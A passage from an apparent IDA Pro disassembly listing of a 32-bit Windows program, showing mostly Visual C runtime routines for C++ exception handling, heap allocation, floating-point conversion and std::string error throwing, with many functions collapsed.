___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: .rdata:004278E0o push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS * call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *) pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: .rdata:004278E4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call __local_unwind2 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; =============== S U B R O U T I N E ======================================= sub_42224A proc near ; DATA XREF: .rdata:004278D8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_42224A endp ; sp-analysis failed ; [00000046 BYTES: COLLAPSED FUNCTION sub_422252. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION sub_42255C. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4225B2 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427920 push offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43CFA4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: .rdata:00427930o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: .rdata:00427934o mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: .rdata:00427928o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: __onexit+7p __onexit+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DCFE8 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call ___sbh_find_block test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DCFE4 call ds:dword_427058 ; RtlSizeHeap loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND] ; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] ; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_15: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND] ; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] ; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: __umatherr+52p xor eax, eax retn sub_42401D endp ; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D358 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D370 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: __fassign+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: __fassign+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] ; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 2 call __amsg_exit pop ecx retn ; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424752 proc near ; DATA XREF: .data:00429028o push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) call ds:dword_42701C ; SetUnhandledExceptionFilter mov dword_4DBB80, eax retn sub_424752 endp ; =============== S U B R O U T I N E ======================================= sub_424763 proc near ; DATA XREF: .data:00429040o push dword_4DBB80 call ds:dword_42701C ; SetUnhandledExceptionFilter retn sub_424763 endp ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_427018 ; IsBadReadPtr test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_4271C8 ; IsBadWritePtr test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_42255C. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND] ; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND] ; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND] ; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424E01(size_t Size,int) sub_424E01 proc near ; CODE XREF: ___initstdio+22p ; ___initstdio+3Bp Size = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+Size] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+Size], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+Size] cmp eax, dword_4DCFE0 ja short loc_424E6C push eax call ___sbh_alloc_block mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C9D4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DCFE4 call ds:dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB9DC, 0 jz short loc_424EA5 push esi call __callnewh test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+Size] ; Size loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 ; Val push edi ; Dst call _memset add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] ; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_425692 dd offset loc_42525B ; DATA XREF: ___strgtold12+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] ; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] ; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] ; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] ; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_426490(char *Src,int) sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p Src = dword ptr 4 push esi push [esp+4+Src] ; Str mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call _strlen pop ecx push eax ; Size push [esp+8+Src] ; Src mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: sub_4264E2+3p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; [0000000D BYTES: COLLAPSED FUNCTION sub_4264D5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4264E2 proc near ; DATA XREF: .rdata:off_427D04o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4264BA test [esp+4+arg_0], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: sub_4264E2+Dj mov eax, esi pop esi retn 4 sub_4264E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4264FE proc near ; CODE XREF: sub_426573+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426E32 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_427D20 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp+var_C] mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: .rdata:off_427D14o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: .rdata:0042808Co mov dword ptr [ecx], offset off_427D14 jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426573 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_426E44 call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_20] call sub_426490 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_4264FE push offset dword_428088 lea eax, [ebp+var_3C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265D0 proc near ; CODE XREF: sub_42669A+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426E56 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_427D20 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp+var_C] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_426E68 call __EH_prolog push ecx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx push edi mov [ebp+var_10], esi call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) and [ebp+var_4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp+var_C] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: .rdata:off_427D40o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: .rdata:00428134o mov dword ptr [ecx], offset off_427D40 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42669A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p ; sub_40D50A+15p ... var_3C = dword ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_426E7A call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_20] call sub_426490 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_4265D0 push offset dword_428130 lea eax, [ebp+var_3C] push eax mov [ebp+var_3C], offset off_427D40 call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D40 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266F6 proc near ; DATA XREF: .rdata:00427D0Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428170 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_426714: ; DATA XREF: .rdata:00427D48o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428130 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_426732: ; DATA XREF: .rdata:00427D1Co push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428088 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger 